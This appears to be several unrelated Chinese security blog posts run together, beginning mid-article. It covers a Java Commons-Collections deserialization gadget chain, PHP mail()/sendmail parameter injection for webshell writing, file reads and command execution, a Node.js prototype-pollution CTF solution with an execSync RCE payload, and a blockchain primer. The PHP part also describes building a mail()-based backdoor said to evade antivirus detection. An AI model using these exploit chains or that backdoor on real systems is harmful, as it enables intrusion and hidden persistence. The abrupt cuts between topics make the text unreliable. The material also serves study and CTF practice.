我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
也就是说下面两行代码就可以执行newTransformer了:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);
最终还是用ChainedTransformer包裹起来执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
从一次有趣的漏洞分析到一个有趣的PHP后门
起因
事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题
大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名为phpmailer的中间件(应该类似于中间件吧),问我有没有办法利用,我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前
很不幸,群友这个版本是6.5.1,刚好就不能利用了
找不到符合版本的洞没关系,抱着学习的心态,我还是看了一下它的历史漏洞成因,不看不知道,看了之后就学到一些好玩的新知识了,这也就是为什么会有这篇文章的原因。
CVE-2016-10033的简单分析
CVE-2016-10033是Phpmailer出现过的最经典的的漏洞,在本文正式开始之前,我们先来简单分析一下这个漏洞。读者可以到:
https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php看到phpmailer的代码。这里先开门见山地说,漏洞的成因其实就在mail()函数的第五个参数,只要控制了第五个参数,我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数:
因此我们可以先定位到mailPassthru()这一方法,可以看到,这个方法内部就使用了mail(),maill的第五个参数也就是mailPassthru()的第五个参数。
因此,我们再查看有没有别的地方使用了mailPassthru(),可以找到这个maillSend()方法中使用了mailPassthru()方法,并且第五个参数$params是来自于当前类中的Sender属性
那我们回溯Sender属性,看看有什么地方可以控制Sender属性。
这里可以看到,setFrom方法当中,就可以对Sender属性进行赋值
当然,这个漏洞还有一个重点就是对validateAddress()这一方法的绕过,这也是CVE-2016-10033的精彩部分。
但是它和本文的重点不符,所以我们就不深入分析这块。
既然知道了Sender这个关键属性是怎么赋值的,接下来我们继续分析mailSend()方法的调用链,可以找到postSend()方法
继续看postSend(),最终可以找到send()方法
自此,整个漏洞的传参流程我们就已经分析完了。大体上来说,只要我们用setFrom()方法对Sender属性赋值,再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中,从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了,为什么控制了它就能实现RCE呢?这就要提到php中 mail()函数的实现原理了。
有趣的mail()
mail()函数是php定义的用来发送邮件的函数,其支持的参数如下:
为什么一个发送邮件的函数能造成RCE?前人的安研经验已经告诉了我们答案。Php的mail()函数,其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数,这就会造成更大的危害。
①日志写入导致的RCE
接着上面提到的内容来说,我们首先要介绍的是sendmaill的X和O参数,其效果分别为:
-X logfile :指定一个文件来记录邮件发送的详细日志。
-O option=value :临时设置一个邮件储存的临时位置。
看到这大部分读者应该马上能反应过来,我们能指定文件来储存邮件发送的日志,那不就可以写日志getshell了吗?事实也的确如此。了解这个信息之后,我们再回过头看mail()函数支持的第五个参数:
没错,我们可以用这个第五个参数来控制sendmail的额外参数,那我们控制X的参数值不就拿下了?我们可以使用如下demo进行测试:
<?php
$to = 'La2uR1te@b.c';
$subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码
$message = '<?php system("ls ./"); ?>';//同上
$headers = '';
$addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/
-X/var/www/html/1.php';
//假设我们已知目标站点绝对路径
mail($to, $subject, $message, $headers, $param);
?>
比如我在自己的服务器上运行如下代码,我们假设网站根目录是/root/,我们运行一下上述代码看看会发生什么。(在复现的时候确保你已经安装过sendmail,不然没用)。
运行完之后,我们在root目录下确实发现了一个名为testmail.php的文件。
我们看看它的内容是什么:
其实他的内容很多,就是日志文件。但是看箭头指的地方,毫无疑问,我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php,注意看前后的区别
当前用户就是root,当前目录下只有testmail.php和test.php,毫无疑问,我们的恶意代码已经被成功执行了。
综上,如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件(默认),那么就可以使用mail()函数来执行写入日志文件的GETSHELL。
②读取配置文件导致的任意文件读取
这个函数好玩的地方不止于此,它还可以用于任意文件读取。我们修改一下上面的demo
注意看这里,我们使用了-C参数,后面跟着我们想读取的文件。这样就能直接实现任意文件读取了!
如下图,直接读文件一把梭
③进阶技巧之利用配置文件执行代码
设想这么一个变态的情况,整个网站,假设我们只有一个可供文件写入的点,并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢?再说回sendmail命令的特性,默认会使用sendmail-mta来解析待发送的邮件内容,我们其实有办法覆盖sendmail的解析配置,让它用php来解析我们要发送的邮件内容,从而直接完成命令执行。
我们首先到/etc/mail/sendmail.cg,复制其内容。然后在其内容结尾加上如下配置:
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}
把这个新文件命名为sendmail_cf
接着我们执行如下命令,因为这玩意不能回显,所以我们还是让它新创建几个文件:
执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc(提前祝师傅们新年快乐恭喜发财哈)
④进阶技巧之Exim4情况下mail()函数操作
这里因为环境没配置好,所以没有演示成功,我就借助别的师傅的结果了
mail()函数的底层虽然是sendmail命令,但有时它也有可能是exim4命令。比方说在ubuntu/debain中,sendmail实际上软连接到了exim4。也就是说,我们有新姿势了(exim4的各种参数和能打出的操作都是不同的)
这里我们介绍一个,-be参数,这个参数事exim4中的运行扩展模式参数,这个参数支持我们打出大量操作,例如:
-be ${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2
-be ${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符
-be ${readfile{<file name>}{<eol string>}}
//读文件file name,以eol string分割
-be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}}
//发送socket消息,消息内容为request
没错,你可以发现,这玩意除了可以进行直接的命令执行(不需要写日志文件getshell了),虽然不能回显,但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取,这样的话就支持我们进行很多绕过WAF的操作。
利用mail()来造一个简单的后门
上文提到了各种mail()的骚操作,我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考,它是否有成为后门的潜质,它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数,一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态,我先简单的实现了这么一个功能:
其中$e的明文内容为:-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php
而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功,那么应该会在root目录下生成mailshell.php
如图,mailshell.php成功生成
其内容即为php一句话
所以我们继续改造一下这个后门,让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行,所以我们的改造也十分简单:
这个后门最后能实现的效果包括但不限于:①linux环境下的任意文件写入(可getshell)②linux环境下的任意文件读取③特定环境(比如mail()底层使用exim4或软连接到exim4)下的无回显命令执行、代码执行
截至本文发表,这个结构极其简单的后门依然具有不错的免杀能力:
后记
之所以说本文是炒冷饭,是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说,确实是大开眼界叹为观止,果然漏洞的复现一定要及时搞,不然容易错过很多有趣的知识。
Nodejs原型链污染
Nodejs与JavaScript和JSON
有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。
那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。
原型对象(prototype)与原型连接点(__proto__)与原型链
在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。
person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";
这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
这种方法通过直接实例化构造方法Object()来创建对象function person(firstname,lastname,age,eyecolor) 这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
this.firstname=firstname;
this.lastname=lastname;
this.age=age;
this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");
这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释
既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?
对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)
function Object()
{
}
在底层为
var Object = new Function();
那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。
那么提到了__proto__和prototype我们就来说说这两个是什么东西。
首先我们要了解以下概念:
__proto__是任何一个对象拥有的属性
prototype是任何一个函数拥有的一个属性
比如
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。
1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。
2.JavaScript使用prototype链实现继承机制。
3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。
4.Object.prototype.proto最终指向null,这也是所有原型链的终点。
5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。
如果我们有如下代码:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
那么按照上述说法 就有如下结构
对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
在对象son中寻找last_name。
如果找不到,则在son.__proto__中寻找last_name。
如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。
依次寻找,直到找到null结束。
原型链污染
举个栗子
// 这个对象直接实例化Object()
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。
看下面代码,一个简单的对象clone:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
漏洞复现
[GYCTF2020]Ez_Express
进入环境之后是一个登录页面,测试之后发现存在http://www.zip源码泄露,开始审计index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
看下面两段代码
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。
再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。
这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
往下看找到调用clone的位置
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。
看到这段:
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload?
但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。
POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。
区块链安全前传之从Web3.0到创造自己的数字货币
互联网发展的三个阶段
web1.0
静态页面,内容只能供用户去阅读,类似于在网络上读报纸或者看书。
web2.0
动态互联网,实现用户之间的互动,比如twitter,facebook,titok等。
web2.0中厂商用免费或极低的成本吸引用户,通过获取到用户的信息来推流广告从而获得利润。
打个比方就是 厂商在一片地上种了很多草,吸引羊来吃,趁着羊吃草的功夫把羊身上的毛薅下来拿去卖钱,而羊自己并不在意这些毛,可以说是一种双向互利的方式。
web3.0
web3.0是一个很模糊的概念,随着区块链技术的发展,基于区块链的web3.0诞生。
接着用上面的例子来说,随着web2.0的发展壮大,稀缺的不再是草,而是羊毛,也就是用户身上的数据。那么羊毛的重要性愈加突出,所以提出web3.0的概念,也就是拥有自己的一片空间,别人无论如何都无法修改,也就是将羊毛(数据)存放在了一个非常安全的地方中,相比于web2.0,不但实现了动态的交互,也实现了数据的“拥有”。
web3的概念非常模糊,可以说是一个大方向,按照我个人的理解可以说是在互联网创造了一个虚拟的世界,这个虚拟的世界拥有和现实世界一样的货币交易系统以及其他体系,能够自主维持运转的这样一个“虚拟生态系统”,而这个生态系统的生存法则就是“去中心化”。
什么是去中心化?
比如现在市面上的app都由一个厂家负责,厂商可以随意删除控制用户数据,形成了以厂商为中心的服务体系,去中心化就是没有中心厂商作为核心,而是所有用户形成一个能够自力更生的体系。
密码货币
随着web2.0发展,数字货币使用越来越多,而在区块链技术的支持下,数字货币也出现了全新的存在形式,去中心化的密码货币,世界上第一种密码货币就是比特币。像纸币有防伪印一样,密码货币通过密码学的散列计算出的hash值并且和智能合约进行绑定,密码货币基于去中心化的机制,与依赖中心监管体系的银行金融系统相对。之后出现的数种密码货币被创造,它们通常被称为altcoins。
区块链
区块链的防篡改机制一个区块中储存了三样东西:数据,前一个区块的hash值,自身的hash值(由数据和前一区块的哈希值共同决定),如果要更改某一区块的内容,那么该区块(a区块)的hash值就会改变,下一区块(b区块)储存的a区块的hash值无法对应a区块当前哈希值,那么这两个区块间的链接就会断开。
如果想要篡改某一区块的数据,我们就要将这一区块以及后续所有区块的hash值进行重算,比如一条区块链里面有abcde五个区块,当我们篡改了b区块的数据,那么我们就要带着b区块的新hash值和c区块的数据重新计算出c区块的新hash值,然后再带着c区块的新hash值和d区块的数据重新计算d区块的新hash值,再带着d区块的新hash值和e区块的数据重新计算e区块的hash值…………………..其实在重新计算某一区块的hash值的过程也就相当于创造了一个新的区块,因此篡改一个区块以及后续区块所需的时间取决于创造一个区块所需要的时间。
这个看起来对算力要求似乎非常庞大,但是现代计算机其实是可以做到这一点的,如果我们有一台超大算力的计算机,那么是不是轻松就可以改变区块链的内容了?为了防止这种情况的出现,区块链加入了工作量证明机制(proof of work)简称 pow
我们用游戏举例说明一下pow,我们刚才说到用超大算力计算机来篡改区块链,这就好比你拿着满级神装在新手村乱杀,区块链是不允许这种情况出现的,因此它会上调怪物属性,也就是会增加创造一个区块所需的难度,使每一新区块被创造时都保持在十分钟左右(当然这个时间是可以更改的),因此即使是一台超高算力的计算机想要篡改一个区块所需的时间仍然是
创造一个区块的时间✖️n min。
那我们所说的挖矿是什么呢?上面提到的情况是想要篡改区块中的数据,那么我没有恶意,我只是单纯的创造区块去给自己或者他人使用,这个创造区块的过程牺牲了我电脑的算力和一些其他资源,所以作为补偿,创建区块的人会得到密码货币的奖励,这就是我们所说的挖矿。
区块链的点对点网络结构
在传统的web服务中,传统的链接对象基本都是客户端和服务端,众多客户端访问一个服务端来进行交互,而在区块链的点对点网络结构(peer to peer)中,不再有客户端与服务端的概念,每一个节点间相互平等,并且包含完整的区块链数据存储,也就是说每一个节点中都储存了整个区块链网络中的所有信息,这样即使一个节点出现故障,其他所有节点也在帮他记录信息,这些记录了所有节点区块链的节点叫做全节点,当然也有只储存了自己信息的轻节点,比如区块链用来储存转账记录,那么每一节点都储存了所有节点之间的转账记录,每一节点储存的内容也是相同的,如果某一节点与其他节点出现差异,那么该节点或许就有被篡改过的可能了,但是被篡
点对点网络结构下的所有节点拥有判断区块是否被篡改的能力,当一个新区块想要加入某一节点的区块链时,该节点会向其他所有节点进行广播,所有的节点进行判断,如果50%以上的节点都认为该区块没有被篡改,那么这个区块就可以成功的加入区块链当中,反言之如果想要篡改某一区块的数据,你首先要将这一区块后的所有哈希重新计算,并且还要更改超过百分之五十节点的这一区块后的所有区块的哈希,那么就要拥有超过全网50%以上的算力才可以,这付出的代价是相当高的,这就是区块链网络系统的少数服从多数原则。
DAPP
Dapp 是什么?
APP (Application) 指的是手机里的应用程序,像是微信、微博、抖音…等都是日常生活中常会使用到的 App。
而 Dapp 的全名为去中心化应用程序(Decentralized Application),是建立在区块链系统网络上,所提供的服务都具有公开透明、不可篡改的特性。
以下是 Dapp 所具有的要素:
1. 代码开源:程序代码皆公开透明,任何人都可以查阅及审核,避免项目方说到没做到。
2. 分布式帐本:降低数据遗失的风险,且没有任何其他第三方有权能够窜改数据。
3. 数据所有权:除本人(私钥持有者)外,任何人皆无法动用该帐号的数据。
为什么 Dapp 会崛起?
事实上,App 都是中心化的应用服务,用户所使用的数据都会存储在单一服务器系统里,代表公司能掌控用户的所有数据,但相关问题也随之浮出水面。
数据所有权归属问题
用户在 App 上的个人资料、搜索浏览纪录等信息都会存储在中心化系统的服务器里,这也意味着软件公司能够借由这些数据来营利。
也导致像是微博、抖音等企业,能透过搜集的用户数据来投放广告,并借此获利。等于企业能用你的信息来赚钱,但你却分不到任何好处,甚至还可能受到影响(例如被疯狂投放广告、或个人资料被平台外泄)。
另外,传统手游的游戏道具、帐号数据也都属于公司所有,一旦宣布停止营运,这些资产也会随着官方服务器关闭而消失。
但在 Dapp 中,你的游戏道具、帐号都会以 NFT 形式储存在链上,因此只要区块链不倒,你就能持续拥有这些资产。换句话说,Dapp 能够让数据的所有权回归到用户身上。额外提醒,虽然你仍拥有这些资产,但可能会因为游戏已经关闭,导致这些资产的现值趋近于零,你能保有的仍以回忆居多。
过度中心化
App 是由中心化服务器来进行管理,因此企业有时可以专断独行,但用户却没有任何反制的手段:例如可以随意植入广告,或是删除用户的内容、帐号。
而 Dapp 的数据都存在区块链上,因此项目方没办法任意删除用户资料,目前也没有任何广告植入的问题(但不确定未来是否会有项目开始植入广告)。
由于上述几点原因,也让许多人开始对传统的 App 感到不满,于是就有人打算通过区块链“去中心化”的特性来研发能解决上述问题的 App,于是 Dapp 就此诞生。
不过同时也要注意,不是每个 Dapp 都一定符合公开、去中心化的规范,例如 Opensea 就能下架用户的 NFT 和限制用户登陆。
Dapp 与 App 的差异
App 的应用服务是使用中心化服务器,代表软件公司必须要承担存储用户的数据量的营运成本,否则将无法持续地运行。
例如抖音服务器的成本就百万以上,因此必须想办法创造各种营收管道来支持各项支出,像是通过大数据将广告推广到潜在用户面前,借此吸引更多广告商进驻。
而 Dapp 是建立在区块链上,用户在链上进行交易、换币等行为时,是需要自行负担手续费(Gas 费)的,也就代表开发商的运营成本会比传统 App 来得更低(不过有些开发商为了吸引用户,会帮用户负担使用时的手续费)。
智能合约
智能合约,是一段写在区块链上的代码,一旦某个事件触发合约中的条款,代码即自动执行。也就是说,满足条件就执行,不需要人为操控,类似于传统web的后端代码。
简单区块链实现
我们用Javascript来手写一个建议的区块链出来,其实和写一个链表很像:
const sha256 = require('crypto-js/sha256')
Date = new Date()
class block{
constructor(data,time,previousHash) {
this.data = data
this.time = time
this.previousHash = previousHash
this.myHash = this.currHash()
}
currHash() {
return sha256(this.data + this.time + this.previousHash).toString()
}
}
class blockCahin{
constructor()
{
this.chain = [this.createBlockchain()];
}
createBlockchain()
{
return new block("Genesisblock",Date.toLocaleString(),0o0000000)
}
getLatestblock()
{
return this.chain[this.chain.length - 1]
}
addBlock(newBlock)
{
newBlock.previousHash = this.getLatestblock().myHash
newBlock.myHash = newBlock.currHash()
this.chain.push(newBlock)
}
}
BlockChain = new blockCahin()
BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything"))
